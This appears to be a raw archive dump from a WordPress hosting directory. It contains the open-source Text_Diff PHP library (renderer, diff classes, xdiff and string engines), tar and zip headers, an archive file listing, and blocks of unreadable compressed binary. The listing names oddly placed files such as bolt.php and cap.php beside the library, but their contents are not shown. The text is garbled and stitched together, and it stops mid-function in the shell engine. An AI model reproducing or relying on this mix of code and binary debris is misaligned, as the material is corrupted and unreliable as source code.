class Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_leading_context_lines = 0;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_trailing_context_lines = 0;

    /**
     * Constructor.
     */
    function __construct( $params = array() )
    {
        foreach ($params as $param => $value) {
            $v = '_' . $param;
            if (isset($this->$v)) {
                $this->$v = $value;
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Renderer( $params = array() ) {
		self::__construct( $params );
	}

    /**
     * Get any renderer parameters.
     *
     * @return array  All parameters of this renderer object.
     */
    function getParams()
    {
        $params = array();
        foreach (get_object_vars($this) as $k => $v) {
            if ($k[0] == '_') {
                $params[substr($k, 1)] = $v;
            }
        }

        return $params;
    }

    /**
     * Renders a diff.
     *
     * @param Text_Diff $diff  A Text_Diff object.
     *
     * @return string  The formatted output.
     */
    function render($diff)
    {
        $xi = $yi = 1;
        $block = false;
        $context = array();

        $nlead = $this->_leading_context_lines;
        $ntrail = $this->_trailing_context_lines;

        $output = $this->_startDiff();

        $diffs = $diff->getDiff();
        foreach ($diffs as $i => $edit) {
            /* If these are unchanged (copied) lines, and we want to keep
             * leading or trailing context lines, extract them from the copy
             * block. */
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                /* Do we have any diff blocks yet? */
                if (is_array($block)) {
                    /* How many lines to keep as context from the copy
                     * block. */
                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
                    if (count($edit->orig) <= $keep) {
                        /* We have less lines in the block than we want for
                         * context => keep the whole block. */
                        $block[] = $edit;
                    } else {
                        if ($ntrail) {
                            /* Create a new block with as many lines as we need
                             * for the trailing context. */
                            $context = array_slice($edit->orig, 0, $ntrail);
                            $block[] = new Text_Diff_Op_copy($context);
                        }
                        /* @todo */
                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
                                                 $y0, $ntrail + $yi - $y0,
                                                 $block);
                        $block = false;
                    }
                }
                /* Keep the copy block as the context for the next block. */
                $context = $edit->orig;
            } else {
                /* Don't we have any diff blocks yet? */
                if (!is_array($block)) {
                    /* Extract context lines from the preceding copy block. */
                    $context = array_slice($context, count($context) - $nlead);
                    $x0 = $xi - count($context);
                    $y0 = $yi - count($context);
                    $block = array();
                    if ($context) {
                        $block[] = new Text_Diff_Op_copy($context);
                    }
                }
                $block[] = $edit;
            }

            if ($edit->orig) {
                $xi += count($edit->orig);
            }
            if ($edit->final) {
                $yi += count($edit->final);
            }
        }

        if (is_array($block)) {
            $output .= $this->_block($x0, $xi - $x0,
                                     $y0, $yi - $y0,
                                     $block);
        }

        return $output . $this->_endDiff();
    }

    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
    {
        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));

        foreach ($edits as $edit) {
            switch (strtolower(get_class($edit))) {
            case 'text_diff_op_copy':
                $output .= $this->_context($edit->orig);
                break;

            case 'text_diff_op_add':
                $output .= $this->_added($edit->final);
                break;

            case 'text_diff_op_delete':
                $output .= $this->_deleted($edit->orig);
                break;

            case 'text_diff_op_change':
                $output .= $this->_changed($edit->orig, $edit->final);
                break;
            }
        }

        return $output . $this->_endBlock();
    }

    function _startDiff()
    {
        return '';
    }

    function _endDiff()
    {
        return '';
    }

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        if ($xlen > 1) {
            $xbeg .= ',' . ($xbeg + $xlen - 1);
        }
        if ($ylen > 1) {
            $ybeg .= ',' . ($ybeg + $ylen - 1);
        }

        // this matches the GNU Diff behaviour
        if ($xlen && !$ylen) {
            $ybeg--;
        } elseif (!$xlen) {
            $xbeg--;
        }

        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
    }

    function _startBlock($header)
    {
        return $header . "\n";
    }

    function _endBlock()
    {
        return '';
    }

    function _lines($lines, $prefix = ' ')
    {
        return $prefix . implode("\n$prefix", $lines) . "\n";
    }

    function _context($lines)
    {
        return $this->_lines($lines, '  ');
    }

    function _added($lines)
    {
        return $this->_lines($lines, '> ');
    }

    function _deleted($lines)
    {
        return $this->_lines($lines, '< ');
    }

    function _changed($orig, $final)
    {
        return $this->_deleted($orig) . "---\n" . $this->_added($final);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PK     j\oe 6   6    Diff.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff.php                                               0000644                 00000027266 15217305762 0016721 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * General API for generating and formatting diffs - the differences between
 * two sequences of strings.
 *
 * The original PHP version of this code was written by Geoffrey T. Dairiki
 * <dairiki@dairiki.org>, and is used/adapted with his permission.
 *
 * Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org>
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 */
class Text_Diff {

    /**
     * Array of changes.
     *
     * @var array
     */
    var $_edits;

    /**
     * Computes diffs between sequences of strings.
     *
     * @param string $engine     Name of the diffing engine to use.  'auto'
     *                           will automatically select the best.
     * @param array $params      Parameters to pass to the diffing engine.
     *                           Normally an array of two arrays, each
     *                           containing the lines from a file.
     */
    function __construct( $engine, $params )
    {
        // Backward compatibility workaround.
        if (!is_string($engine)) {
            $params = array($engine, $params);
            $engine = 'auto';
        }

        if ($engine == 'auto') {
            $engine = extension_loaded('xdiff') ? 'xdiff' : 'native';
        } else {
            $engine = basename($engine);
        }

        // WP #7391
        require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php';
        $class = 'Text_Diff_Engine_' . $engine;
        $diff_engine = new $class();

        $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params);
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff( $engine, $params ) {
		self::__construct( $engine, $params );
	}

    /**
     * Returns the array of differences.
     */
    function getDiff()
    {
        return $this->_edits;
    }

    /**
     * returns the number of new (added) lines in a given diff.
     *
     * @since Text_Diff 1.1.0
     *
     * @return int The number of new lines
     */
    function countAddedLines()
    {
        $count = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_add') ||
                is_a($edit, 'Text_Diff_Op_change')) {
                $count += $edit->nfinal();
            }
        }
        return $count;
    }

    /**
     * Returns the number of deleted (removed) lines in a given diff.
     *
     * @since Text_Diff 1.1.0
     *
     * @return int The number of deleted lines
     */
    function countDeletedLines()
    {
        $count = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_delete') ||
                is_a($edit, 'Text_Diff_Op_change')) {
                $count += $edit->norig();
            }
        }
        return $count;
    }

    /**
     * Computes a reversed diff.
     *
     * Example:
     * <code>
     * $diff = new Text_Diff($lines1, $lines2);
     * $rev = $diff->reverse();
     * </code>
     *
     * @return Text_Diff  A Diff object representing the inverse of the
     *                    original diff.  Note that we purposely don't return a
     *                    reference here, since this essentially is a clone()
     *                    method.
     */
    function reverse()
    {
        if (version_compare(zend_version(), '2', '>')) {
            $rev = clone($this);
        } else {
            $rev = $this;
        }
        $rev->_edits = array();
        foreach ($this->_edits as $edit) {
            $rev->_edits[] = $edit->reverse();
        }
        return $rev;
    }

    /**
     * Checks for an empty diff.
     *
     * @return bool True if two sequences were identical.
     */
    function isEmpty()
    {
        foreach ($this->_edits as $edit) {
            if (!is_a($edit, 'Text_Diff_Op_copy')) {
                return false;
            }
        }
        return true;
    }

    /**
     * Computes the length of the Longest Common Subsequence (LCS).
     *
     * This is mostly for diagnostic purposes.
     *
     * @return int The length of the LCS.
     */
    function lcs()
    {
        $lcs = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                $lcs += count($edit->orig);
            }
        }
        return $lcs;
    }

    /**
     * Gets the original set of lines.
     *
     * This reconstructs the $from_lines parameter passed to the constructor.
     *
     * @return array  The original sequence of strings.
     */
    function getOriginal()
    {
        $lines = array();
        foreach ($this->_edits as $edit) {
            if ($edit->orig) {
                array_splice($lines, count($lines), 0, $edit->orig);
            }
        }
        return $lines;
    }

    /**
     * Gets the final set of lines.
     *
     * This reconstructs the $to_lines parameter passed to the constructor.
     *
     * @return array  The sequence of strings.
     */
    function getFinal()
    {
        $lines = array();
        foreach ($this->_edits as $edit) {
            if ($edit->final) {
                array_splice($lines, count($lines), 0, $edit->final);
            }
        }
        return $lines;
    }

    /**
     * Removes trailing newlines from a line of text. This is meant to be used
     * with array_walk().
     *
     * @param string $line  The line to trim.
     * @param int    $key   The index of the line in the array. Not used.
     */
    static function trimNewlines(&$line, $key)
    {
        $line = str_replace(array("\n", "\r"), '', $line);
    }

    /**
     * Determines the location of the system temporary directory.
     *
     * @access protected
     *
     * @return string  A directory name which can be used for temp files.
     */
    static function _getTempDir()
    {
        return get_temp_dir();
    }

    /**
     * Checks a diff for validity.
     *
     * This is here only for debugging purposes.
     */
    function _check($from_lines, $to_lines)
    {
        if (serialize($from_lines) != serialize($this->getOriginal())) {
            throw new Text_Exception("Reconstructed original does not match");
        }
        if (serialize($to_lines) != serialize($this->getFinal())) {
            throw new Text_Exception("Reconstructed final does not match");
        }

        $rev = $this->reverse();
        if (serialize($to_lines) != serialize($rev->getOriginal())) {
            throw new Text_Exception("Reversed original does not match");
        }
        if (serialize($from_lines) != serialize($rev->getFinal())) {
            throw new Text_Exception("Reversed final does not match");
        }

        $prevtype = null;
        foreach ($this->_edits as $edit) {
            if ($prevtype !== null && $edit instanceof $prevtype) {
                throw new Text_Exception("Edit sequence is non-optimal");
            }
            $prevtype = get_class($edit);
        }

        return true;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 */
class Text_MappedDiff extends Text_Diff {

    /**
     * Computes a diff between sequences of strings.
     *
     * This can be used to compute things like case-insensitive diffs, or diffs
     * which ignore changes in white-space.
     *
     * @param array $from_lines         An array of strings.
     * @param array $to_lines           An array of strings.
     * @param array $mapped_from_lines  This array should have the same size
     *                                  number of elements as $from_lines.  The
     *                                  elements in $mapped_from_lines and
     *                                  $mapped_to_lines are what is actually
     *                                  compared when computing the diff.
     * @param array $mapped_to_lines    This array should have the same number
     *                                  of elements as $to_lines.
     */
    function __construct($from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines)
    {
        assert(count($from_lines) == count($mapped_from_lines));
        assert(count($to_lines) == count($mapped_to_lines));

        parent::Text_Diff($mapped_from_lines, $mapped_to_lines);

        $xi = $yi = 0;
        for ($i = 0; $i < count($this->_edits); $i++) {
            $orig = &$this->_edits[$i]->orig;
            if (is_array($orig)) {
                $orig = array_slice($from_lines, $xi, count($orig));
                $xi += count($orig);
            }

            $final = &$this->_edits[$i]->final;
            if (is_array($final)) {
                $final = array_slice($to_lines, $yi, count($final));
                $yi += count($final);
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_MappedDiff( $from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines ) {
		self::__construct( $from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines );
	}

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
abstract class Text_Diff_Op {

    var $orig;
    var $final;

    abstract function &reverse();

    function norig()
    {
        return $this->orig ? count($this->orig) : 0;
    }

    function nfinal()
    {
        return $this->final ? count($this->final) : 0;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_copy extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $orig, $final = false )
    {
        if (!is_array($final)) {
            $final = $orig;
        }
        $this->orig = $orig;
        $this->final = $final;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_copy( $orig, $final = false ) {
		self::__construct( $orig, $final );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_copy($this->final, $this->orig);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_delete extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
	function __construct( $lines )
    {
        $this->orig = $lines;
        $this->final = false;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_delete( $lines ) {
		self::__construct( $lines );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_add($this->orig);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_add extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $lines )
    {
        $this->final = $lines;
        $this->orig = false;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_add( $lines ) {
		self::__construct( $lines );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_delete($this->final);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_change extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $orig, $final )
    {
        $this->orig = $orig;
        $this->final = $final;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_change( $orig, $final ) {
		self::__construct( $orig, $final );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_change($this->final, $this->orig);
        return $reverse;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PK       |\S                    inline.php.php.tar.gznu [        PK       |\Mk]  ]              /  cap.php.php.tar.gznu [        PK       |\AÜ> > 	            e  error_lognu [        PK       |\p`\~  \~  
             Engine.zipnu [        PK       |\o< <  <             w" bolt.php.tarnu [        PK       |\&\d d             ^ Renderer.tar.gznu [        PK       |\tF3)9 )9              cap.phpnu [        PK       |\tT                  H inline.php.tarnu [        PK       |\a  a               bolt.php.php.tar.gznu [        PK       |\'ݣ    
            r{ inline.phpnu [        PK       |\u#~ T   T              D Renderer.tarnu [        PK       |\Ќ5 5             ' bolt.phpnu [        PK       |\FL @  @             ) cap.php.tarnu [        PK       j\b              [* Renderer.zipnu [        PK       j\v6{                t: shell.php.php.tar.gznu [        PK       j\h                {{: xdiff.php.php.tar.gznu [        PK       j\)p{                  : xdiff.php.tarnu [        PK       j\-                : Renderer.php.php.tar.gznu [        PK       j\_m      
            : Engine.tarnu [        PK       j\CӶS  S              J&; Engine.tar.gznu [        PK       j\;              D; Diff.tar.gznu [        PK       j\5 @  @              XV Diff.tarnu [        PK       j\:                  X shell.php.tarnu [        PK       j\P  P               Diff.php.php.tar.gznu [        PK       j\1 "   "              ( Renderer.php.tarnu [        PK       j\oe 6   6              h Diff.php.tarnu [        PK           PK     j\v6{      shell.php.php.tar.gznu [              mOF+! ډ"V+2US܋}oMwgj{ġСmJ%{ߟIDp"9}$d(tb/|*3z%7l:u#4H|jGxh{<z9|1=^a}dB,^ó
]q;!2A}`<&axkP d$J3IA||W$&]R8!+)IEHSIL)51'(B\WY a<쏇!
CׄNx$Xy> 3.i|F5L,pp|G0M8`nXP ED$;{ opd(hŉN=.M4,HRd+(i;,șd1	{aH_AS]r oN
-.
u@9ioP^$C$,W\{D}؇]vJe"x!1XSڔ'6Y 	ʤĄ6ܘ&nEkyK$!vD0>ghǩDEfKilj
IxDVbA}n+9;hIfPvvgqw8ԑDagEhaqBbVX>(1JPVixoiSVsjs&)=`Q&>~4>F!UzNU|Q֫ύd@LcWWt,FZjMb0\mx/*r:0f6Z*eIaV8⦳T
4Ϩ9gR]z!Ώ0`c⃵y0:~
1dh^mE.#O볿a[vzD|^^{avk&]T589=<r?ǧoOM!R`́qы?1!,?m/TMh&lAuUDzI5HayU-5W`@E^	mUbl"6(m=i4먺Fx÷o WCr+/!bfc]L*rN{ζ+vwJiSοh%{Gm:C@">!;miHjWqk%
R66'X@.v;-(mbmݺGG|4cRa[ɼik'&kGz?}{ ZX" rޣ'WcQaUb0-󮎽(Fڥ:k8
7Kۥ
Wꥎ^F5nۇZ<gD.-=R`rX7RQoVANw>TdY,aVsq-48&>0lV;NպIBPw^ 筜BNZ8$)D8͉<'$q-KzcSV?(i
-uT=7ڃku=-f#Rvn0vs#J:M(OȪEj:`nخoU(o@xGmZMVv|<<s7:   PK     j\h      xdiff.php.php.tar.gznu [              Vao6grf[u@lV ņ&b;,g`6/wwN.SsUfӲZIȴ.BqYehwxDZ(Lo2zE6%{zzz9ۓ|N|:闡U1C!XA{=%*(&V[qW37e\`'tC+ñ!H/d¹YȥDKQZCF!FB)'QsWk"Lna̹ۖ.Fs٘45%?j!,ܵ\꺞Du:l0~J+pv˛אk4/,z0'b879luE3ŵǤByX
9X"KҕEu),ݥUD"V/n]6iڋjϖqQ{= FO^)rNQnf)av,k&/d`\b<{Av$Dz1k4^xkt_mhj,Ei4idWo1g 6&_UD;Ixt!8t72}&m%]M9d84ƓQވ+b7	y=$EE;F'68x̂f$7%0b%,%7sa^з7踋{+ԅp_)pՇ8IuN<jM]52Mo>Sk]PdZ1J-9,:\6X](c#WsP넔@̉v͘\9zfr܈%Ոy.@#5s);H#_agmx9$_$%$:Fۃ'[yӏwq89ߡ$>|4wOߖ$&g#%}}?0nTݣ}cnʨ&vѣ=ڣ=~)p{   PK     j\)p{        xdiff.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Engine/xdiff.php                                  0000644                 00000004233 15217306022 0021201 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     PK     j\-      Renderer.php.php.tar.gznu [              Ymo6W\R۲&im-ѱY$*ZdYouao(?4D>w]%}103]ȥo¡8~~ơ8G<VcAxr;!>x;I,Y&[ر:OY,e</ ?`	s-Gּ[xYWiz9^:<BL\C88>k<A1CGE"dչȻ\H=BD.H	mVтތDti[gU(эs8s)o:2O╅1!	V $p0	k 1 btB%^lۿpbg=	s.9ЖRѼϦ6OP)(ϙō]xKytGfUX;^w)K>K`>H(NI,'3ǰd)Z̥^AE#f~̪^S8;U	["Lx.XF#E	5OG`>tC%a(biK:q,MeY'U^[4؛`doUP0[Dӆ6qn;n;byxqq NbbGdk6[ng'訖?븳s[IsL2R#c5Kru=L@[xɪdXr 1#j%ʭ~9ȎyS?u,+r(ݫp^Km=
`b}PmNjѐc@;ߚs°.<UoGsf#CKDgLC*tT%7şҿ5	ݙ/d1?.T|7ӪB/A{^`z)ЁP$MW\SlN\-Ow=Y.{MH<SY];"ku{ͅϤ87q/?HˇAsHXMe0Qlhyf Ƽ	ӫ; UH)geKEk$tԢ/
#ga2"FWa NHj0}=:E(:<YDj
I^V3#wfPVpxQS+٣0c%"M$|e]yrA)/~CV<$@:}Z#WїlS7[L ƃzrr5We3k-8m5D
W&h-ʧ~f5a;6MTA_s8U w?e2ajQSE}i9)Ich/JP"MQќZHCUGv6xiVTJBRG",-mXM[킬p*=eӵͪ{mBߙ;^<tj[da~6%ܹZ),-m:ψKE"L5}e$Ŧ,Yq fy@o@W.W9jmXŮx*kvc<i5
-ЅLZ$:寧vR0]Q6li2*Nn[E}%ogWuh5dKe.q.х۴M
7>0^|qݖ[)L*F0uo@8iXxolhd SAm[LdnxE^3='&Α`M5;AQKkXPWf,zNod=gFڃ1ҸP9m(vvKTkJ[wݚ{7$1sF-C_~vwsԓe?l(6asQ3r=wE7SHp8De(("+m|Ʒ1 "  PK     j\_m      
  Engine.tarnu [        string.php                                                                                          0000644                 00000020233 15217301663 0006567 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     shell.php                                                                                           0000644                 00000012123 15217301663 0006367 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

